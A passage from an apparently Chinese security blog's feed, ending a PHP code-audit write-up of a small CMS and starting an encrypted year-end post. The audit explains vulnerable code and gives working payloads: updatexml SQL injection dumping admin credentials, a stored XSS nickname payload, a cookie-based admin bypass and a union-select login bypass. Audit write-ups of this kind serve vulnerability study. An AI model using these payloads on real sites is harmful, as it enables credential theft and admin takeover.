class="string">'download'</span>){<span class="comment">// 86行</span></span><br><span class="line"> $fhlink=<span class="string">"/?r=software&cid="</span>.$cid;</span><br><span class="line"> $fhname=<span class="string">"软件评论"</span>;</span><br><span class="line"> $type=<span class="number">3</span>;</span><br><span class="line">}</span><br><span class="line">....</span><br><span class="line">....</span><br><span class="line"><span class="keyword">if</span> ($type==<span class="number">3</span>){</span><br><span class="line">$query = <span class="string">"SELECT * FROM download WHERE( id= <span class="subst">$cid</span>)"</span>;<span class="comment">// SQL注入</span></span><br><span class="line">$result = mysql_query($query) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">'SQL语句有误:'</span>.mysql_error());</span><br><span class="line">$wz = mysql_fetch_array($result);</span><br><span class="line">$title=$wz[<span class="string">'title'</span>];</span><br></pre></td></tr></table></figure><p>以上两个SQL注入漏洞点,产生原因一样。但是有点鸡助,因为使<code>$pltz ==1</code>需要<code>开启新评论/留言通知站长</code>功能。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//查询系统高级设置</span></span><br><span class="line">$query = <span class="string">"SELECT * FROM seniorset"</span>;</span><br><span class="line">$result = mysql_query($query) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">'SQL语句有误:'</span>.mysql_error());</span><br><span class="line">$advanced = mysql_fetch_array($result);</span><br><span class="line">$lysh=$advanced [<span class="string">'lysh'</span>];<span class="comment">//留言审核</span></span><br><span class="line">$plsh=$advanced [<span class="string">'plsh'</span>];<span class="comment">//评论审核</span></span><br><span class="line">$pltz=$advanced [<span class="string">'pltz'</span>];<span class="comment">//新留言评论通知</span></span><br><span class="line"><span class="keyword">if</span> ($pltz==<span class="number">1</span>){</span><br><span class="line">......</span><br><span class="line"> <span class="keyword">if</span> ($type==<span class="number">1</span>){</span><br><span class="line">$query = <span class="string">"SELECT * FROM content WHERE( id= <span class="subst">$cid</span>)"</span>;<span class="comment">// SQL注入</span></span><br><span class="line"> ....</span><br><span class="line"> <span class="keyword">if</span> ($type==<span class="number">3</span>){</span><br><span class="line">$query = <span class="string">"SELECT * FROM download WHERE( id= <span class="subst">$cid</span>)"</span>;<span class="comment">// SQL注入</span></span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210302153826366.png" alt="image-20210302153826366"></p><p>需要使<code>$pltz ==1</code>,才会进入<code>if ($type==1)</code>。然后执行sql语句,而<code>$pltz</code>是从<code>seniorset</code>表中来的(开启新评论/留言通知站长功能)。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210301220616501.png" alt="image-20210301220616501"></p><p>为了方便理解,简洁的整理了一下执行的流程:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">$cid=$_POST[<span class="string">'cid'</span>];</span><br><span class="line"><span class="comment">//查询系统高级设置</span></span><br><span class="line">$query = <span class="string">"SELECT * FROM seniorset"</span>;</span><br><span class="line">$result = mysql_query($query) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">'SQL语句有误:'</span>.mysql_error());</span><br><span class="line">$advanced = mysql_fetch_array($result);</span><br><span class="line">$lysh=$advanced [<span class="string">'lysh'</span>];<span class="comment">//留言审核</span></span><br><span class="line">$plsh=$advanced [<span class="string">'plsh'</span>];<span class="comment">//评论审核</span></span><br><span class="line">$pltz=$advanced [<span class="string">'pltz'</span>];<span class="comment">//新留言评论通知</span></span><br><span class="line"><span class="keyword">if</span> ($pltz==<span class="number">1</span>){</span><br><span class="line">....</span><br><span class="line"><span class="keyword">if</span> ($type==<span class="number">1</span>){</span><br><span class="line"> $query = <span class="string">"SELECT * FROM content WHERE( id= <span class="subst">$cid</span>)"</span>;</span><br><span class="line"> $result = mysql_query($query) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">'SQL语句有误:'</span>.mysql_error());</span><br><span class="line"> $wz = mysql_fetch_array($result);</span><br><span class="line"> .....</span><br><span class="line"> <span class="keyword">if</span> ($type==<span class="number">3</span>){</span><br><span class="line"> $query = <span class="string">"SELECT * FROM download WHERE( id= <span class="subst">$cid</span>)"</span>;</span><br><span class="line"> $result = mysql_query($query) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">'SQL语句有误:'</span>.mysql_error());</span><br><span class="line"> $wz = mysql_fetch_array($result);</span><br><span class="line"> $title=$wz[<span class="string">'title'</span>];</span><br><span class="line">.....</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这个漏洞利用的前提<code>$pltz==1</code>,也就是后台高级设置<code>开启新评论/留言通知站长</code>功能是打开的。</p><p>漏洞利用:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">name=Tao&mail=Tao1@qq.com&url=http:<span class="comment">//www.baidu.com&content=Tao测试测试哈哈哈哈&cid=1)+or+updatexml(1,concat(0x7e,(select+concat(user,0x3a,password)+from+manage)),1)#</span></span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210301220711917.png" alt="image-20210301220711917"></p><p><code>$type='comment'=1</code>触发</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210301220750431.png" alt="image-20210301220750431"></p><p><code>$type='download'=3</code>触发</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210301221126900.png" alt="image-20210301221126900"></p><h3 id="反射型xss"><a href="#反射型xss" class="headerlink" title="反射型xss"></a>反射型xss</h3><p>漏洞触发在<code>files/contact.php</code>文件</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$page=addslashes($_GET[<span class="string">'page'</span>]);</span><br><span class="line"><span class="keyword">if</span> ($page<><span class="string">""</span>){</span><br><span class="line"><span class="keyword">if</span> ($page<><span class="number">1</span>){</span><br><span class="line">$pages=<span class="string">"第"</span>.$page.<span class="string">"页 - "</span>;</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"><span class="comment">// 12~15行</span></span><br></pre></td></tr></table></figure><p><code>$_GET['page']</code>未进行只进行了部分字符转义,其他未作处理就直接输出了。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210301221857376.png" alt="image-20210301221857376"></p><p>漏洞触发在<code>files/list.php</code>文件</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$yemas=$_GET[<span class="string">'page'</span>];</span><br><span class="line"><span class="keyword">if</span> ($yemas<><span class="string">""</span>){</span><br><span class="line">$yema=<span class="string">" - 第 <span class="subst">$yemas</span> 页"</span>;</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line">$yema=<span class="string">""</span>;</span><br><span class="line">}</span><br><span class="line"><span class="comment">// 23~28行</span></span><br></pre></td></tr></table></figure><p>跟上面同理</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210301222000693.png" alt="image-20210301222000693"></p><p>漏洞触发在<code>files/download.php</code>文件</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210301222140854.png" alt="image-20210301222140854"></p><h3 id="存储型xss"><a href="#存储型xss" class="headerlink" title="存储型xss"></a>存储型xss</h3><p>漏洞产生在<code>files/submit.php</code>文件中,昵称未进行处理,便存储到数据库中</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">$name=$_POST[<span class="string">'name'</span>];</span><br><span class="line">$mail=$_POST[<span class="string">'mail'</span>];</span><br><span class="line">$url=$_POST[<span class="string">'url'</span>];</span><br><span class="line">$content=$_POST[<span class="string">'content'</span>];</span><br><span class="line">$cid=$_POST[<span class="string">'cid'</span>];</span><br><span class="line">$ip=$_SERVER[<span class="string">"REMOTE_ADDR"</span>];</span><br><span class="line">$tz=$_POST[<span class="string">'tz'</span>];</span><br><span class="line">.....</span><br><span class="line">$content= addslashes(strip_tags($content));<span class="comment">//过滤HTML</span></span><br><span class="line">....</span><br><span class="line">$query = <span class="string">"INSERT INTO interaction (type,xs,cid,name,mail,url,touxiang,shebei,ip,content,tz,date</span></span><br><span class="line"><span class="string">) VALUES ('<span class="subst">$type</span>','<span class="subst">$xs</span>','<span class="subst">$cid</span>','<span class="subst">$name</span>','<span class="subst">$mail</span>','<span class="subst">$url</span>','<span class="subst">$touxiang</span>','<span class="subst">$shebei</span>','<span class="subst">$ip</span>','<span class="subst">$content</span>','<span class="subst">$tz</span>',now()</span></span><br><span class="line"><span class="string">)"</span>;</span><br></pre></td></tr></table></figure><p>在评论区可以提交昵称、邮箱、网址、内容。但是显示评论和留言的地方只显示昵称。所以只有昵称处才存在存储型XSS</p><p>payload: <code>Taoo<img src=1 onerror=alert(/Tao/);></code></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210301224752498.png" alt="image-20210301224752498"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210301224759193.png" alt="image-20210301224759193"></p><p>前台文章处</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210301224817361.png" alt="image-20210301224817361"></p><p>查看后台</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210301224845097.png" alt="image-20210301224845097"></p><h3 id="垂直越权(逻辑漏洞)"><a href="#垂直越权(逻辑漏洞)" class="headerlink" title="垂直越权(逻辑漏洞)"></a>垂直越权(逻辑漏洞)</h3><p>漏洞发现在<code>inc/checklogin.php</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">$user=$_COOKIE[<span class="string">'user'</span>];</span><br><span class="line"><span class="keyword">if</span> ($user==<span class="string">""</span>){</span><br><span class="line">header(<span class="string">"Location: ?r=login"</span>);</span><br><span class="line"><span class="keyword">exit</span>; </span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>该代码存在越权访问,这里直接从<code>COOKIE</code>处赋值给<code>$user</code>。如果<code>$user</code>不为空就可以直接访问</p><p>我们通过调试来分析一下后台登陆的执行流程。</p><p>首先访问<code>admin</code>目录,默认跳转传参<code>?r=login</code>,也就是下面的执行过程,文件包含<code>admin/files/login.php</code>文件</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210302144648616.png" alt="image-20210302144648616"></p><p>然后包含数据库连接文件</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210302144801960.png" alt="image-20210302144801960"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210302144833207.png" alt="image-20210302144833207"></p><p>这后面没有什么(这是正常访问,输入账号密码的流程)。</p><p>但是注意我们要利用此漏洞的话,需要修改完cookie后访问<code>admin/?r=index</code>,<code>admin/index.php</code>会包含<code>files</code>文件夹下<code>index.php</code>文件,所以这里实际访问的文件就是<code>admin/files/index.php</code>,文件内容如下</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210302145815891.png" alt="image-20210302145815891"></p><p>直接就包含<code>inc/checklogin.php</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">$user=$_COOKIE[<span class="string">'user'</span>];</span><br><span class="line"><span class="keyword">if</span> ($user==<span class="string">""</span>){</span><br><span class="line">header(<span class="string">"Location: ?r=login"</span>);</span><br><span class="line"><span class="keyword">exit</span>; </span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p><code>$_COOKIE['user']</code>不为空就不跳转到<code>?r=login</code>,直接进入后台</p><p>还有一点就是,我们修改完cookie,使得<code>$_COOKIE['user']</code>不为空。不一定非要访问<code>admin/?r=index</code>,访问有载入<code>inc/checklogin.php</code>文件都可以</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210302150259938.png" alt="image-20210302150259938"></p><p>漏洞利用:</p><p>记住管理处路劲:<code>http://www.bearsea.com/admin/?r=index</code></p><p>退出管理员,来到登录处。添加cookie值</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210301225541514.png" alt="image-20210301225541514"></p><p>再次访问后台。没登录也直接进入了后台页面😂</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210301225613218.png" alt="image-20210301225613218"></p><h3 id="后台SQL注入"><a href="#后台SQL注入" class="headerlink" title="后台SQL注入"></a>后台SQL注入</h3><p>漏洞产生文件<code>admin/files/login.php</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$login=$_POST[<span class="string">'login'</span>];</span><br><span class="line">$user=$_POST[<span class="string">'user'</span>];</span><br><span class="line">$password=$_POST[<span class="string">'password'</span>];</span><br><span class="line">$checkbox=$_POST[<span class="string">'checkbox'</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ($login<><span class="string">""</span>){</span><br><span class="line">$query = <span class="string">"SELECT * FROM manage WHERE user='<span class="subst">$user</span>'"</span>;</span><br></pre></td></tr></table></figure><p><code>$query</code>存在SQL注入,这是<code>$user</code>未经过任何处理,直接代入语句中执行导致的</p><p>利用方式:</p><p>user: <code>1' or updatexml(1,concat(0x7e,(select concat(user,0x3a,password) from manage)),1)#</code></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210302143335674.png" alt="image-20210302143335674"></p><p>登录,返回管理员账号和加密的密码</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210302143403205.png" alt="image-20210302143403205"></p><h3 id="后台万能密码登录"><a href="#后台万能密码登录" class="headerlink" title="后台万能密码登录"></a>后台万能密码登录</h3><p>漏洞产生文件<code>admin/files/login.php</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">$login=$_POST[<span class="string">'login'</span>];</span><br><span class="line">$user=$_POST[<span class="string">'user'</span>];</span><br><span class="line">$password=$_POST[<span class="string">'password'</span>];</span><br><span class="line">$checkbox=$_POST[<span class="string">'checkbox'</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ($login<><span class="string">""</span>){</span><br><span class="line">$query = <span class="string">"SELECT * FROM manage WHERE user='<span class="subst">$user</span>'"</span>;</span><br><span class="line">$result = mysql_query($query) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">'SQL语句有误:'</span>.mysql_error());</span><br><span class="line">$users = mysql_fetch_array($result);</span><br><span class="line"><span class="keyword">if</span> (!mysql_num_rows($result)) { </span><br><span class="line"><span class="keyword">echo</span> <span class="string">"<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>"</span>;</span><br><span class="line"><span class="keyword">exit</span>;</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line">$passwords=$users[<span class="string">'password'</span>];</span><br><span class="line"><span class="keyword">if</span>(md5($password)<>$passwords){</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>"</span>;</span><br><span class="line"><span class="keyword">exit</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><code>$login</code> 未经过任何处理拼接sql语句,且只进行了密码md5对比。可绕过</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210301230717310.png" alt="image-20210301230717310"></p><p>payload: </p><p>user:<code>-1' union select 1,2,3,'ace1785ac351e22a3d18e594d77a67dd',5,6,7,8 #</code></p><p>password: <code>Tao</code></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210301230648438.png" alt="image-20210301230648438"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210301230658398.png" alt="image-20210301230658398"></p><h3 id="后台多处漏洞"><a href="#后台多处漏洞" class="headerlink" title="后台多处漏洞"></a>后台多处漏洞</h3><p>后台暂时不审了,下次一定👌</p>]]></content>
<summary type="html"><h2 id="漏洞环境-amp-搭建"><a href="#漏洞环境-amp-搭建" class="headerlink" title="漏洞环境&amp;搭建"></a>漏洞环境&amp;搭建</h2><p>访问<code>install</code>目录,填写相关配置。</</summary>
<category term="web安全" scheme="https://taonn.github.io/categories/web%E5%AE%89%E5%85%A8/"/>
<category term="代码审计" scheme="https://taonn.github.io/categories/web%E5%AE%89%E5%85%A8/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
<category term="PHP代码审计" scheme="https://taonn.github.io/tags/PHP%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
</entry>
<entry>
<title>颇有感触的2020</title>
<link href="https://taonn.github.io/2020/12/31/%E9%A2%87%E6%9C%89%E6%84%9F%E8%A7%A6%E7%9A%842020/"/>
<id>https://taonn.github.io/2020/12/31/%E9%A2%87%E6%9C%89%E6%84%9F%E8%A7%A6%E7%9A%842020/</id>
<published>2020-12-31T14:52:00.000Z</published>
<updated>2021-02-02T13:01:04.243Z</updated>
<content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look."> <script id="hbeData" type="hbeData" data-hmacdigest="a65da7077369b239139e1205727218fb89abc5f8adb07965bda2760840786a6d">f7b1e34634be17e4a4592cff2138fd5b0ec46f04e1a74397ec69690b88425adf8664a4698d57ff79076531e450e72d1c5ec1df63d074c0ddac7ebaac361b7cd9178f9d14672fc5d3b68f41e5bb363ac8d03e1e22c7d9d57b7bb7cc822890f2edeb420780f32949c32274ed5b728216c5350a34f06dddbd60bbdb8cb83c3c373ee754cec78e1197bcd310988f419ff1d7d12b47a363939eb3628dca8cd14f355308421e0312c39bcbb215222bbaf3f6b87328c5e3634e84986da3ee73f9c4482e962e52f5c94e477ef6912720f83f4b262d199587cda78e480844989d3dc314745189f8e610b6c96f410e965d00f798971d959e53813e4ec4391d9384d48443acea687783f1ee1dd43fdb2c9fcc7209715d4508058683b1bc2b73fcbd71e75d7c09ffe64343fa888f2b5cafeb592050122a970e49d87cea1f33a81e85fcf76d90cc42b8b230001eb29ea20116cc7a4b784609ca3e096307008e74ed746e3fd538f9f850812823c8a5b1854b328bc4c69129f741e6fb8c1f03662d312311357f04ec9e02e72eb3d4c6c895353bce6c1dd562cefc8d5377b4c5e627ecef9f0cf872385730bd4ad42926a7e1ee11e66400affe6380aaabdf5a93ca444d28444d6f1b32619c8758222688a64689dee170beeb7bc67c9ce8a8d92ce91c0800ce9a986cdaac94b86a4ae97d86cfbd85daaea5ae0e73477d5913280b76c69664984ec025d2db69d8d4d16a91b1076dbf2506719c962c01c005e61bb7db0d764ae207b82f51620c1af23d85b6bd9f5047b6ee8600e92b11b6dfbfe523f953c42ccc6bc75844caf8824f99ea53f107edb1866862e1b743f20006712685ed1e2e9fc1b58d8a9f808e189d1042c36cc50c63191074d7565f930ab07861b032117758742e50f20037b576c1fb5079f16edc05bfc9ef25196b0ae9a967cacf47f4e8bd008c07799d3d9d18789760630d1b275d6c137bc93eeefd2a5c5576bba7bf80d5a246d305a1c33b931b2f1745359244d1b4d7687b58cc7dd380bf4d0a0069f7ea9000a9c34d991af6380e1814b461d893eade3e91d13deef0284806ada188beb621dd58d58af013dcaf41f9f8d357dab194233559bcebdc731e8f4ce1e138afae8c584ff7c1614cdecbdb7c8b7a2368908867e34201f10ee6f98928299de275688f6d8c34cbddf11ffb704a1d1b4407c6dafb11627079f587cdc4ea67661372957bbb76edcd8bebfd90f556eb8e53eedd4af1734a52e3e6f318f26d39093827e195646e85e92a6f11010773f3018e8a0d8349058f25e298d49107286d9d51c3ebe9ac55f6fd0179f5cb13ea28c5fa6a39e546413bf30a7e306fdb304b20ae6a63a8d6a357f2fcb175da127e9067b3f156e94db3cc6f10faa6e93717269ff0716764ce8431b98d0d88c62638e4a9ac9c35b67821d2ada8667d4b3787f025ee065353d9ea59709fce63007ce8aab53c9034b90be5e2e32223c8cf010ece14016092cca9173554fa55f6dc8ebea14c259fb81e790410fe4caf5e01499202d2f35490dfb3c5a250490dbe5318c3989ddba4f707f4daa0a0f4ded28b6a869b3cf2167f742e246be91bdb4cb755b0cd470b9685a9ccc26dc914383a3df1f990b404621c5c19f6f0ac3930e5a86de3a9989556642b90da30785c74dfef47cc2f4067264aa6753c610024ff6530849525baf6501c3c64fb79f9bdc0d1f79be57e0c38aa702eb0d63e731a45df3b48ea922e3d9e298deced606800fe0600586c23cae69b8353ee10faf4d0dd61b5da99fcd51e71a5258a1a4104e0018a1b8e073ed68000ddd6fc718a3e4c3531790eac4847c16268da0fb9566a7dd2069f1f041f2f20bac36a67665c87512a86b4f9101436f91897ff496c6a07ed283b58422ae422fa8ff9990b278affaf8639c7db2f65eef1d619fd1beaf12fce292ee4c41071aae9c75de573c2c5bf6dbf270ac1dc9ea3f172e39dbceb51e4662459fe3defa966f7641bfabde50079164e20bd67fdf41587c0fd462bea70c878624900e2bc5db0ee6ae2fb8a8218f5d3e5fb0483c7f06392b2dda549f0f23b429f4ec5fc54e8c0449ad45165463f4d671763df0cc395711a4cf19db19a323c476d808ad917504e5172ce1c2da8974ad1ddbcea7a95fe3f6989dd57f5f67a2f5027dbf94744ad42600b2bed25438660359a94791d339053835252f7105ccfeb9eb112c15c24f4e7b40c666a58ebd8f892d5e32d4719baa9794b22f3f763f5a764df82539dc92698f39ad589c81ac964d79c0a78faff817410c164bc024fba87e2b3f4082dc587eb264f9f7dc2aa4e63a5074af26c464f3354180d802d4ff8c9df6a4e1f995ac84a09119773c26e3fc12cb7c8580bf6dab254e399c19a55100b8018bd071964e214e806c3f60a7ef8d370e22ad4ad6700eb622d60b3cbe91d85b5e3472081b3a7dec7f83ff26746b8e16fbd456f819c2e2fee4f259f59a004f95efc9920631a6b2037a710766446d023e11685abe44281f64acb803be97d5f7c67df392051bcfba0267159661a0ff8f5fa693e97c3af6b2d7e51771242fc03c74f297e212a123472bd5f0a396b64cbde208eebca48887055a06430f39869d9b3aae71f2c3e05c3a375d2b33b71aac88fc7ffe6475f1d400dae765d6b3dec54470bd0766b37b54e2d19ab858522554724193667eb4121ed1742a082110368485b6ce15f723699053c64c9a90d193e1c1d2980fd7ff54b4658e98963221b0bb625d64e401e1c0bb102cd3a3b8d8755125ed69884d53d87d7c7fac169c7da22ff2968ff69839bced7ac7682be9e0940416122292e364452794481a0bd88a25191673047502abd4cc9197590cfa8a58920a2fc4482209c8e1abefd1a2562eefa0db8db4c0c13a6717ca13f49db9330ba5f96011ad5cf5fca08dd3ba3169600a226a9d78635c7b128e86543d683bcb61e3c3b2cb14b4e0f710f17c3796b7e16fa7aa0df0af57234b80fb19dbc58ea49deba6654e3cafe0b6f3060e22dc29e8772aa25a3fe20d0a43739f3950cb80315c342c61310e269c58a997cf469cae19fbc7e152824883fbc85101f98c482f179b6cc9e131bcfef3dc0aa91865a7e6c1dd3b98a978af38d788fbc0fbdffeb55ed1468226ff1059956097de839e7bcf22f6f9f80c0de92bf8bf83910b0ecd2ed709a25ae35e29751eb0e3419d4675589a5a89a11fb12146051309d673d8bbddab8e5b496e748ad95e87893800db0768cbe878b0dbe45b3f22647597984f01c0223b0fabdf8ac0804eb3d0c8e2c39812ff638553e9f74c7038a47c018fb9a6025d6791b4ceb00046a27ec08c61cdaaa60265de698be00ecda88d210a69b0d5479f9d093ed3bc11ab85c4e9ac6a8ab2b0bbbb1b2892bf06f92e2e9fddbf01051ab70ae61406e30cab627621eb3dac22e69bffc389074f3857210496911007c55beb521e1f07881ed8c4e4acbb558aa8273cdec59a82f70bc5efa4b6d37c8992600f75285415bab83c8ccc2aee15b66a2cc976ca05a0fc41ab50f754e2d29976bee5af22df76cda0b6660ec84283586bb570bff8b9c0bff65a39a3b87022ff4bc1fa1159d7e8ee118c945a3f9803a1e7709bd2e6007b7b5f0923690ac145cc6940882d438b9dcd8a869ecf8857cf7cf7746b746399def1a6114d6d1cdde86e08d7f241ff0ec3014744368ebc827887f76ad1dbb27bba322d0405b239025ee8f874ff0a58f6150b725dc3ccca06ca465b9643987cfea37880aa8fd61776f00774cdac3f5f7c81ed25e03fe559961d5054012338417dcc0811501f01abf5dca0288126d450d8acefd0844fdd59ceb27edddb6da538ed05806c06b636ab65ad1eba8ae3714446ec74e3f9e63012dd00433a93f7fd9438639a60bc31b0b0a8393596b55455e600d3c4103b66fbb3c4f6b3c5829fcaf5c86fccdcc64d1c5f254899f125888d656403f14c26ec26a113d84b8b32c99df7b4550d0aba6fe9abdae4e0ac5add2a07cede1d0ab8f69e5e45bd201a2dd6e3bc1f0245f1c3383204785d6eabe0aea1efb37fd9fa98df9f1fe7fed1bc29d5409c0d8643d7ee3274028c62176a53b11879eea359d0183d9694c2c03bad8dc364853d3cb18d921ef280a0245fb69f129124404155b95f476d31b756046c91bd9f5f066e3b6c56e534979a2c8b0beed888c88d6b9fb75176f9f16a226a8443033b38519f684fcd81c5d9fa5bb0029f7ec99e7052c9f596f4f39279ecdbfd183c37f1223a2e390652e7d3920d623c91f5114ce91c5abd8203003861afd5545398376a0aafda51991f56579870cd180639190c84a486ee51780847b4d721e6217fc9da918b8a537f154d40662f40dfd884a0900769fa2093b44b0f377f274cac906226e01ed7bf6f94140540f8b4bb995234fd399d064ddbd4e4c7218b57c81b3215e72274d74bbb3ed6aa829697c0dd6e037d9c44d9cf38a763a15e2ba291007792685cb0c555393356c9ff2481a43b014d799f849bdb8995b4f2f07e8dc3034b7f48f2150567156768fb0d2db040a2641ae2494a56c50a87badbead27d298d171653fd851c37aa37094a641b4b9dc71f158942fdd5e8a83ce846a2b5fbf13ad9f82ee30f682b2d411171762eb7874fd395a3d82cbe89513d1c048f329c5649811ac08c6aa03fca163f6f4eb8893a4d03197736ec2490f586c8ef20f2a2d3fd7c2b8748c158db7ecec110990af92694dae159acb8ee79d6af583cafb5621f960ba976bf0c9a237a745b2eceb373f1141442c1ba570d9849de5d17579de4f1c52bcfda8acb559597f32da95a3c3512a306c284ac5b029b4370e2b0ccdd7bd47cd07777271ca4aa51b6e29957199984d0ec42a5a0fb3736080d2006480021bafd32acdc456521f9b416a3b5b75d52e0d86495d36bdfb121654c89ca9ac58b420148604ee00cc82cb65aab118ad69b00e78a891c1ada1294fad692b23dcdefe3564379ac75a6626f4c19d89a0737e1ef9f06d307c56b7b1eb4280ee14ec0ac85a5c0f294e657c3a8ed7986fa092596727d41dac97e4cd1555f97cf7a61d5ac4bce13f3fb0bf59c223d47a6ec6f2b5e84c916f6eef2ca37058b43d1177e202d355583883c62a998e5b9772336d435babd32653b8c0c5cb2e03eb362743393749fa6426bfbba1fb2a301569def813fe7a968cb826d7e5ed82a1bbd192196a092c0c3ff888a0d9d0321d1a2c46e28f6609d4aa6536266d5ed8198933fa650d01d0c6718be08f285af70372a1671f4fa9e17a3bd5b24b0a00a6fc83967af9398e8de21bc777e21c7b3609656acd087f440620313f593534a1333680df1b7ac368fda40de65f286506aacfea6f0e0146afc4b45ae21cb433fdfec75436ee70a50a3ebcd66a826b13332f66b4bb5962bb6dc5b61d7f196e2fe99d371e7a8a7a86020937eb046728ca2b12cd14ff9af9ae750897fdaad9badf6afc21f2409b7213bdbf1926debf72cd6a42f803e33f1e8ab3c73444efc9e4bf62aaa90928967aa322ff663181da2db50973195f35ed0d75fb55ba4d231db24eee4147de9cc524711e22482ffeee6dfa9248dcb42ef40255a465f6987923619e14fa844131155cd340f97cefb1ba2b46a4ea174fbb887440829ccc12a58bac8f6c0a16a2f4fa2a1778ae5744002890241bf3b607c5b1919cc2e395ce0b